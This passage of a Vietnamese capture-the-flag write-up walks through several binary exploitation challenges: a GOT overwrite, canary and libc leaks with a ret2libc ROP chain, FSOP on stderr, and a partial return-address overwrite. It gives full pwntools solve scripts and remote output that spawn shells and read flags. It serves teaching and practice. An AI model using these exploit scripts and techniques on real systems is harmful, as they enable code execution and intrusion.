__isoc99_scanf("%lx", v3[0]);
exit(0);
}
```
Các bạn đọc phần này để hiểu nhé [.got.plt](#.got.plt)
bài này chúng ta sẽ ghi đè [.got.plt](#.got.plt) của hàm `exit()` bằng hàm win để khi nó gọi hàm exit thực chất là nó gọi hàm win chúng ta sẽ có shell
để tìm các địa chỉ cần thiết dùng các lệnh như sau
```bash
0000000000401216 <win>: <== địa chỉ hàm win
401216: f3 0f 1e fa endbr64
40121a: 55 push %rbp
40121b: 48 89 e5 mov %rsp,%rbp
40121e: 48 83 ec 20 sub $0x20,%rsp
401222: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
...more
```
```bash
$ objdump -R ./chall | grep JUMP_SLOT
...
0000000000404038 R_X86_64_JUMP_SLOT exit@GLIBC_2.2.5 <== địa chỉ .got.plt của hàm exit
```
## Exploit
input lần đầu các bạn nhập `404038` lần hai nhập `401216` là chúng ta có shell khá đơn giản phải không
Solve script
```python
#!python3
from pwn import *
context.binary = exe = ELF("./chall")
context.terminal = ["kitty","-e"]
remote_connection = "nc vm.daotao.antoanso.org 33529".split()
def start():
if args.REMOTE:
return remote(remote_connection[1], int(remote_connection[2]))
else:
return process(exe.path)
p = start()
exit_got = 404038
win_addr = 401216
p.recvuntil(b"Address to be written: ")
print(str(exit_got))
print(str(win_addr))
p.sendline(str(exit_got).encode())
p.recvuntil(b"Value: ")
p.sendline(str(win_addr).encode())
p.interactive()
```
Kết quả
```bash
$ python solve.py REMOTE
[*] '/home/lazyming/ctf/pwn/recruit_ctf/gotintro/0d9c7ac9-f89a-4a4e-9e98-22a9147cd5b9/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
[+] Opening connection to vm.daotao.antoanso.org on port 34678: Done
404038
401216
[*] Switching to interactive mode
$ id
uid=1001(ctf) gid=1001(ctf) groups=1001(ctf)
$ cat flag.txt
BPCTF{potential_target_when_you_have_write_primitive_200616be4e4236ecdec118a6098755c8}
```
# babyrop

**Tags:** `ROP` `Stack overflow`
---
## TL;DR
```bash
$ checksec chall
[*] '/home/lazyming/ctf/pwn/recruit_ctf/babyrop/8e32b75e-4518-45b1-bc78-b129a1ce7fac/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
```
Bài này là một bài [ROP](#ROP) kinh điển có stack overflow cho phép chúng ta 3 lần input để leak libc address, stack canary, build payload sau đó gửi cho sever
## Analysis
Hàm main bị stack overflow cho phép chúng ta gửi input 3 lần và in ra input chúng ta đã gửi, chúng ta không có hàm win phải tự build rop để gọi shell sau đó mới đọc được flag
```c
int __fastcall main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+Ch] [rbp-24h]
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v6; // [rsp+28h] [rbp-8h]
v6 = __readfsqword(0x28u);
puts("No more win function & leak (?)");
for ( i = 0; i <= 2; ++i )
{
puts("Write something: ");
read(0, buf, 0x100u);
printf("You wrote: %s\n", buf);
}
return 0;
}
```
bài này cho các bạn libc và binary các bạn tải pwninit về dùng nhé cài đặt xong gõ pwninit là nó build cho bạn một cái file python na ná những bài trước tác giả làm sẵn cho bạn, dùng pwninit là vì phiên bản libc trên máy bạn và máy remote có thể khác nhau địa chỉ rop gadget có thể bị thay đổi
để mở gdb debug các bạn thêm lệnh
```python
r = conn()
gdb.attach(r) #mở pwndbg
r.interactive()
```
nếu là lần đầu bạn nên gooling cách cài và sử dụng [pwndbg](https://github.com/pwndbg/pwndbg) cơ bản, mình cũng sẽ nói chi tiết các bước mình làm trong bài này nếu các bạn chưa biết sử dụng thì đọc tạm
Đây là Back trace nó là kiểu theo dõi chúng ta đang ở hàm nào và sau khi return chúng ta sẽ chạy tiếp ở đâu hiện tại chúng ta đang ở hàm read trong main
```bash
───────────────────────────────────[ BACKTRACE ]────────────────────────────────────
► 0 0x7ff3c4f1ba91 read+17 <== chúng ta ở đây
1 0x558aef394241 main+88 <== hàm main
2 0x7ff3c4e2a1ca __libc_start_call_main+122 <== sau khi main chạy xong nó nhảy vào đây
3 0x7ff3c4e2a28b __libc_start_main_impl+139
4 0x558aef394125 _start+37
────────────────────────────────────────────────────────────────────────────────────
pwndbg>
```
các bạn input 8 chữ A vào chương trình rồi gõ lệnh finish cho nó thực thi hàm read rồi tự động dừng lại khi thực thi xong
sau lệnh `finish`
```i, eax
───────────────────────────────────[ BACKTRACE ]────────────────────────────────────
► 0 0x5563a157c241 main+88
1 0x7ff9b962a1ca __libc_start_call_main+122
2 0x7ff9b962a28b __libc_start_main_impl+139
3 0x5563a157c125 _start+37
────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/40gx $rsp <== lệnh xem data của stack từ đỉnh stack đổ xuống
0x7ffdaaa08780: 0x0000000000000000 0x0000000000000000
0x7ffdaaa08790: 0x4141414141414141 0x00007ff9b98b8a0a <== 0x414141 đó là mấy chữ A chúng ta mới nhập
0x7ffdaaa087a0: 0x00007ffdaaa08890 0xaf1b738cc45ca600 <== canary
0x7ffdaaa087b0: 0x00007ffdaaa08850 0x00007ff9b962a1ca <== địa chỉ return address của hàm main
```
Để leak canary chúng ta input 24 + 1 ký tự 1 ký tự nữa là để ghi đè cái byte 0x00 ở đầu canary, byte đó sẽ chặn printf in ra canary nếu đè nó bằng một ký tự khác null nó sẽ in giá trị canary ra
```bash
No more win function & leak (?)
Write something:
AAAAAAAAAAAAAAAAAAAAAAAA
You wrote: AAAAAAAAAAAAAAAAAAAAAAAA
����� <= những ký tự kỳ lạ này là ascii của canary
琅�
Write something:
```
tương tự chúng ta leak thêm libc, gửi 40 ký tự cho nó vừa chạm tới libc address `0x00007ff9b962a1ca` nó cũng sẽ in địa chỉ này ra màn hình
dùng lệnh vmmap tính offset từ địa chỉ libc chúng ta leak được tới libc base (địa chỉ đầu tiên bắt đầu vùng libc)
mình tính được bằng `0x2a1ca`
oke sau 2 lần input chúng ta có libc base, canary rồi chúng ta có thể tính được địa chỉ tới các `rop gadget runtime address = libc base + rop gadget base address`
```bash
$ ROPgadget --binary libc.so.6 | grep "pop rdi ; ret"
pop rdi gadget
0x000000000010f78b : pop rdi ; ret
$ ROPgadget --binary ./libc.so.6 --only "ret" | grep -P ':\s+ret$'
0x000000000002882f : ret
$ strings -a -t x libc.so.6 | grep '/bin/sh'
1cb42f /bin/sh
```
## Exploit
bước 3 này làm y như mấy bài trước nhưng thay return address bằng address của rop chain như sau
```
ret <== stack alignment các bạn googling thêm nhé
pop rdi ; ret <== lấy /bin/sh address pop vào rdi, rdi là thanh ghi chứa tham số đầu tiên
/bin/sh string address
system address <== gọi system với tham số /bin/sh = system(/bin/sh)
```
Solve script
```python
from pwn import *
exe = ELF("./chall_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.binary = exe
context.terminal = ["kitty","-e"]
# nc vm.daotao.antoanso.org 33665
def conn():
if args.LOCAL:
r = process([exe.path])
else:
r = remote("vm.daotao.antoanso.org", 34696)
return r
def main():
r = conn()
# Stage 1: Leak canary
r.sendlineafter(b"Write something: ", b"A" * 24)
r.recvuntil(b"A" * 24 + b"\n")
canary = r.recv(7)
stack = r.recv(6)
canary = u64(canary.ljust(8, b"\x00")) * 0x100
stack = u64(stack.ljust(8, b"\x00"))
print(f"canary: {hex(canary)}")
print(f"stack: {hex(stack)}")
# Stage 2: Leak libc base
r.sendlineafter(b"Write something: ", b"A" * (24 + 8 + 8 - 1))
r.recvuntil(b"A" * (24 + 8 + 8 - 1) + b"\n")
libc_leak = r.recvn(6)
print(libc_leak)
libc_base = u64(libc_leak.ljust(8, b"\x00"))
libc_base = libc_base - 0x2a1ca
print(f"libc base: {hex(libc_base)}")
# Stage 3: Build ret2libc ROP chain
# Calculate addresses
system_addr = libc_base + 0x58750 # system offset in libc
binsh_addr = libc_base + 0x1cb42f # "/bin/sh" string offset
pop_rdi_ret = libc_base + 0x10f78b # pop rdi; ret gadget from libc
ret_gadget = libc_base + 0x2882f # plain ret for stack alignment
print(f"system: {hex(system_addr)}")
print(f"/bin/sh: {hex(binsh_addr)}")
print(f"pop rdi; ret: {hex(pop_rdi_ret)}")
print(f"ret: {hex(ret_gadget)}")
# Build final payload
payload = b"A" * 24 # Fill buffer to canary
payload += p64(canary) # Restore canary
payload += b"B" * 8 # Saved RBP (can be anything)
payload += p64(ret_gadget) # Stack alignment
payload += p64(pop_rdi_ret) # Pop argument into RDI
payload += p64(binsh_addr) # Argument: "/bin/sh"
payload += p64(system_addr) # Call system("/bin/sh")
# Stage 4: Trigger shell
r.sendlineafter(b"Write something: ", payload)
print("Shell should be spawned!")
r.interactive()
if __name__ == "__main__":
main()
```
Kết quả
```bash
[+] Opening connection to vm.daotao.antoanso.org on port 34696: Done
canary: 0xacfc71018d4e9d00
stack: 0x7ffc178c0b50
b'\xca\xd1\x13\xf8\x8d~'
libc base: 0x7e8df8113000
system: 0x7e8df816b750
/bin/sh: 0x7e8df82de42f
pop rdi; ret: 0x7e8df822278b
ret: 0x7e8df813b82f
Shell should be spawned!
[*] Switching to interactive mode
You wrote: AAAAAAAAAAAAAAAAAAAAAAAA
$ id
uid=1001(ctf) gid=1001(ctf) groups=1001(ctf)
$ cat flag.txt
BPCTF{if_you_can_rop_youre_almost_win_51b5bf6aff7a6d74f2ade49cc75d2d73}
```
# babyexit

**Tags:** `Abirary address write` `FSOP`
---
## TL;DR
```bash
$ checksec chall
[*] '/home/lazyming/ctf/pwn/recruit_ctf/babyexit/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
```
Binary leak một địa chỉ libc và cho phép chúng ta AAW với số lượng lớn chúng ta có thể nghĩ tới ghi đè một số cấu trúc trong libc để mở shell.
## Analysis
Hàm main main cho phép AAW số lượng lớn có thể ghi đè một số cấu trúc libc để mở shell có nhiều cách trong link này [ktranowl share cho mình giờ nó là của các bạn =))](https://github.com/nobodyisnobody/docs/tree/main/code.execution.on.last.libc)
```c
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+Ch] [rbp-14h]
_QWORD v4[2]; // [rsp+10h] [rbp-10h] BYREF
v4[1] = __readfsqword(0x28u);
puts("Getting bored of stack overflowing? I'll hand you the most powerfull write primitive.");
printf("Your gift: %p\n", stdin);
while ( 1 )
{
printf("Address to be written: ");
__isoc99_scanf("%lx", v4);
printf("Value: ");
__isoc99_scanf("%lx", v4[0]);
puts("1. Write more\n2. Exit");
for ( i = getint("> "); i != 1 && i != 2; i = getint("> ") )
;
if ( i == 2 )
exit(0);
}
}
```
## Exploit
Bài này mình dùng FSOP với target là stderr vì ghi một lần được 8 byte chứ không ghi một lần nhiều nên ghi dở giữa chừng stdout có thể bị sử dụng trong mấy hàm in màn hình sẽ bị lỗi
Solve script
```python
from pwn import *
remote_connection = "nc vm.daotao.antoanso.org 34701".split()
local_port = 5000
context.binary = ELF('./chall')
context.terminal = ['kitty', '-e']
localscript = f'''
file {context.binary.path}
define rerun
!docker exec -u root -i debug_container1 bash -c "kill -9 \\$(pidof gdbserver) &"
!docker exec -u root -i debug_container1 bash -c "gdbserver :9090 --attach \\$(pidof chall) &"
end
define con
target remote :9090
end
'''
gdbscript = '''
'''
proc_args = context.binary.path
def start():
if args.REMOTE:
return remote(remote_connection[1], int(remote_connection[2]))
elif args.LOCAL:
return remote("localhost", local_port)
elif args.GDB:
return gdb.debug({proc_args}, gdbscript=gdbscript)
else:
return process({proc_args})
def GDB():
if not args.LOCAL and not args.REMOTE:
gdb.attach(p, gdbscript=gdbscript)
pause()
if args.LOCAL:
gdbserver = process("docker exec -u root -i debug_container1 bash -c".split()+ [f"gdbserver :9090 --attach $(pidof chall) &"])
pid = gdb.attach(('0.0.0.0', 9090), exe=f'{context.binary.path}', gdbscript=localscript+gdbscript)
pause()
p = start()
context.log_level = 'info'
# Use the copied libc from container
libc = ELF('./libc.so.6')
# https://github.com/UofTCTF/uoftctf-2025-chals-public/blob/master/hash-table-as-a-service/solve/solve.py
def build_fsop_stderr_235(fp_addr: int) -> bytes:
"""Build FSOP payload for libc 2.35+ (from your template)"""
fp = FileStructure(null=fp_addr + 0x68)
fp.flags = 0x687320
fp._IO_read_ptr = 0
fp._IO_write_base = 0
fp._IO_write_ptr = 1
fp._wide_data = fp_addr - 0x10
payload = bytes(fp)
payload = payload[:0xc8] + p64(libc.sym['system']) + p64(fp_addr + 0x60)
payload += p64(libc.sym['_IO_wfile_jumps'])
return payload
# Get the stdin leak
p.recvuntil(b"Your gift: ")
stdin_leak = int(p.recvline().strip(), 16)
log.info(f"stdin @ {hex(stdin_leak)}")
# Calculate libc base and stderr address
libc.address = stdin_leak - libc.symbols['_IO_2_1_stdin_']
stderr_addr = libc.symbols['_IO_2_1_stderr_']
log.info(f"libc @ {hex(libc.address)}")
log.info(f"stderr @ {hex(stderr_addr)}")
log.info(f"system @ {hex(libc.sym['system'])}")
# Build FSOP payload for stderr
fsop_payload = build_fsop_stderr_235(stderr_addr)
log.info(f"FSOP payload size: {len(fsop_payload)}")
# Write FSOP payload to stderr structure byte by byte
# (We can write 8 bytes at a time with the arbitrary write)
for i in range(0, len(fsop_payload), 8):
chunk = fsop_payload[i:i+8]
if len(chunk) < 8:
chunk = chunk.ljust(8, b'\x00')
print(f"Writing chunk to {hex(stderr_addr + i)}: {chunk.hex()}")
# Address to write to stderr
target_addr = stderr_addr + i
value = u64(chunk)
p.recvuntil(b"Address to be written: ")
p.sendline(hex(target_addr).encode())
p.recvuntil(b"Value: ")
p.sendline(hex(value).encode())
p.recvuntil(b"1. Write more\n2. Exit")
if i + 8 < len(fsop_payload):
p.sendline(b"1") # Continue writing
else:
p.sendline(b"2") # Exit to trigger
p.interactive()
```
Kết quả
```bash
lazyming@vnpt:~/ctf/pwn/recruit_ctf/babyexit$ python solve.py REMOTE
[*] '/home/lazyming/ctf/pwn/recruit_ctf/babyexit/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
[+] Opening connection to vm.daotao.antoanso.org on port 34701: Done
[*] '/home/lazyming/ctf/pwn/recruit_ctf/babyexit/libc.so.6'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
SHSTK: Enabled
IBT: Enabled
[*] stdin @ 0x74f12f22f8e0
[*] libc @ 0x74f12f02c000
[*] stderr @ 0x74f12f2304e0
[*] system @ 0x74f12f084750
[*] FSOP payload size: 224
Writing chunk to 0x74f12f2304e0: 2073680000000000
Writing chunk to 0x74f12f2304e8: 0000000000000000
Writing chunk to 0x74f12f2304f0: 0000000000000000
Writing chunk to 0x74f12f2304f8: 0000000000000000
Writing chunk to 0x74f12f230500: 0000000000000000
Writing chunk to 0x74f12f230508: 0100000000000000
Writing chunk to 0x74f12f230510: 0000000000000000
Writing chunk to 0x74f12f230518: 0000000000000000
Writing chunk to 0x74f12f230520: 0000000000000000
Writing chunk to 0x74f12f230528: 0000000000000000
Writing chunk to 0x74f12f230530: 0000000000000000
Writing chunk to 0x74f12f230538: 0000000000000000
Writing chunk to 0x74f12f230540: 0000000000000000
Writing chunk to 0x74f12f230548: 0000000000000000
Writing chunk to 0x74f12f230550: 0000000000000000
Writing chunk to 0x74f12f230558: ffffffffffffffff
Writing chunk to 0x74f12f230560: 0000000000000000
Writing chunk to 0x74f12f230568: 4805232ff1740000
Writing chunk to 0x74f12f230570: ffffffffffffffff
Writing chunk to 0x74f12f230578: 0000000000000000
Writing chunk to 0x74f12f230580: d004232ff1740000
Writing chunk to 0x74f12f230588: 0000000000000000
Writing chunk to 0x74f12f230590: 0000000000000000
Writing chunk to 0x74f12f230598: 0000000000000000
Writing chunk to 0x74f12f2305a0: 0000000000000000
Writing chunk to 0x74f12f2305a8: 5047082ff1740000
Writing chunk to 0x74f12f2305b0: 4005232ff1740000
Writing chunk to 0x74f12f2305b8: 28e2222ff1740000
[*] Switching to interactive mode
> $ id
uid=1001(ctf) gid=1001(ctf) groups=1001(ctf)
$ cat flag.txt
BPCTF{even_exit_can_be_your_hope_aae61b7b115dcaecc4b1af497efa4028}
```
# babyrop2

## TL;DR
câu này khá hay lần đầu mình gặp, đây là bản nâng cấp babyrop chỉ cho phép chúng ta input 2 lần thay vì 3 lần stack overflow, mình giải câu này bằng cách cho nó chạy lại hàm main thêm một lần nữa
## Analysis
Với cái layout như này việc leak và exploit như thông thường trong 2 lần là không thể `đối với mình =)))`
```bash
0x7ffd08100758: 0x0000000000000000 0x0000000000000000 <== input buffer
0x7ffd08100768: 0x00007f49d38d0af0 0x00007ffd08100860
0x7ffd08100778: 0xeb26cbb9e4b20f00 <== canary 0x00007ffd08100820 <== saved RBP
0x7ffd08100788: 0x00007f49d36bc1ca <== return address 0x00007ffd081007c0
```
mình sẽ ghi đè 1 byte cuối của cái return address để nó trở lại vài lệnh trước đó và gọi main thêm một lần, khôi phục lại rbp cũ của cái hàm gọi main để nó gọi lại main một lần nữa mà không bị lỗi, vì địa chỉ hàm main vẫn còn trong khung hàm của hàm trước đó

return address của chúng ta là lệnh 0xXXXXXXca chúng ta ghi đè 0xca thành 0xc4 đế nó gọi lại hàm main thêm một lần nữa `call RAX` = `call main`
## Exploit
- Lần 1: leak canary và Saved RBP của hàm gọi hàm main
- Lần 2: ghi đè 1 byte cuối của main cho nó gọi main thêm một lần nữa
- Lần 3: leak libc
- Lần 4: Ghi rop payload chạy one_gadget mở shell
Solve Script
```python
from pwn import *
remote_connection = "nc vm.daotao.antoanso.org 34046".split()
local_port = 5000
context.binary = ELF('./chall')
context.terminal = ['kitty', '-e']
localscript = f'''
file {context.binary.path}
define rerun
!docker exec -u root -i debug_container bash -c "kill -9 \\$(pidof gdbserver) &"
!docker exec -u root -i debug_container bash -c "gdbserver :9090 --attach \\$(pidof chall) &"
end
define con
target remote :9090
end
'''
gdbscript = '''
'''
proc_args = context.binary.path
def start():
if args.REMOTE:
return remote(remote_connection[1], int(remote_connection[2]))
elif args.LOCAL:
return remote("localhost", local_port)
elif args.GDB:
return gdb.debug({proc_args}, gdbscript=gdbscript)
else:
return process({proc_args})
def GDB():
if not args.LOCAL and not args.REMOTE:
gdb.attach(p, gdbscript=gdbscript)
pause()
if args.LOCAL:
gdbserver = process("docker exec -u root -i debug_container bash -c".split()+ [f"gdbserver :9090 --attach $(pidof chall) &"])
pid = gdb.attach(('0.0.0.0', 9090), exe=f'{context.binary.path}', gdbscript=localscript+gdbscript)
pause()
libc = ELF('./libc.so.6')
p = start()
GDB()
p.sendafter(b"Write something: ", b"A"* 25)
p.recvuntil(b"A"*25)
canary_leak = u64(p.recvn(7).rjust(8, b"\x00"))
stack_leak = u64(p.recvn(6).ljust(8, b"\x00"))
print(f"stack_leak: {hex(stack_leak)}")
print(f"canary_leak: {hex(canary_leak)}")
print("[+] Canary:", hex(canary_leak))
print("[+] Stack_rbp:", hex(stack_leak))
stack_rbp_ret = stack_leak
print("[+] Stack_rbp_ret:", hex(stack_rbp_ret))
payload2 = b"a" * 24 + p64(canary_leak) + p64(stack_rbp_ret) + p8(0xc4)
p.send(payload2)
p.send(b"A"* 5 * 8)
p.recvuntil(b"A"* 5 * 8)
libc_leak = u64(p.recvn(6).ljust(8, b"\x00"))
print(f"libc_leak: {hex(libc_leak)}")
# 0x2a1ca
libc_base = libc_leak - 0x2a1ca
print(f"libc_base: {hex(libc_base)}")
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b"/bin/sh"))
pop_rdi = libc_base + 0x10f78b
ret = pop_rdi + 1
payload4 = b"a" * 24
payload4 += p64(canary_leak)
payload4 += b"b" * 8
payload4 += p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system)
p.send(payload4)
p.interactive()
```
Kết quả
```
[+] Opening connection to vm.daotao.antoanso.org on port 34711: Done
stack_leak: 0x7ffe84dfd6c0
canary_leak: 0x3bd0cc7a72517900
[+] Canary: 0x3bd0cc7a72517900
[+] Stack_rbp: 0x7ffe84dfd6c0
[+] Stack_rbp_ret: 0x7ffe84dfd6c0
libc_leak: 0x7521aea7b1ca
libc_base: 0x7521aea51000
[*] Switching to interactive mode
Write something:
You wrote: aaaaaaaaaaaaaaaaaaaaaaaa
$ id
uid=1001(ctf) gid=1001(ctf) groups=1001(ctf)
$ cat flag.txt
BPCTF{there_might_be_gold_on_the_stack_4bf4a240dbddef11dbe8fe31808f84be}
```